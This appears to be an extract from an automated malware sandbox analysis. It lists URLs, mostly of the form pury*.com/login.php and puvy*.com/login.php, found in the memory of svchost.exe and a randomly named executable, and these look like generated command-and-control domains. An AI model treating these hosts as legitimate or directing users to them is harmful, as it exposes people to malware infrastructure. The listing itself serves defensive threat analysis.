    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902019877.0000000002F95000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901978788.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898504335.0000000002F83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1910374402.0000000008A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901601922.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895964396.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purybav.com/login.php
    Source: svchost.exe, 00000001.00000003.1693187181.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023538220.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2856090650.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692993962.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760787901.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692942093.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019576714.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2778000948.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008B64000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://purycap.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purycaq.com/login.php
    Source: svchost.exe, 00000001.00000003.1687570808.0000000008A2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978180156.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://purydyv.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1910374402.0000000008A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purygeg.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1936324582.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946540049.0000000008A4A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1945543952.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puryjeq.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111044292.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870487910.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106415870.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2109717439.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882380826.0000000000899000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puryjil.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purymuq.com/
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2275129713.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purypig.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023538220.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019576714.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purypol.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854943514.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2856090650.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875189147.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847975056.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875546987.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854650597.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847917919.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1842605109.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864734796.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purytyg.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779382100.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2813812181.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2027010088.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023459644.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puryxuq.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2285735034.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282318795.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2266622953.0000000002F93000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2274962046.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2266609168.0000000002F97000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puryxuv.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1937143988.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1936262851.0000000002F97000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvybuv.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvycip.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111044292.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1873975330.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106415870.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2109717439.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875546987.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872932783.0000000002F99000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvygyq.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2275129713.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968703670.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1972923642.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvylep.com/login.php
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2148149391.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvypul.com/login.php
    Source: svchost.exe, 00000001.00000003.1693187181.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1981174664.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2761249013.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760203953.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854734822.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2762700110.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1982247626.0000000008B06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760020874.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017172053.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2789139686.0000000002F9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2021153254.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692993962.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692942093.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2778000948.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvytuq.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968703670.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2272645372.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968517351.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvywal.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864162691.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760518250.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BFF000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2339890682.00000000095ED000.00000004.00000010.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C48000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2108655193.0000000000CE8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvyxil.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874905532.0000000002F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882380826.0000000000899000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzybep.com/login.php
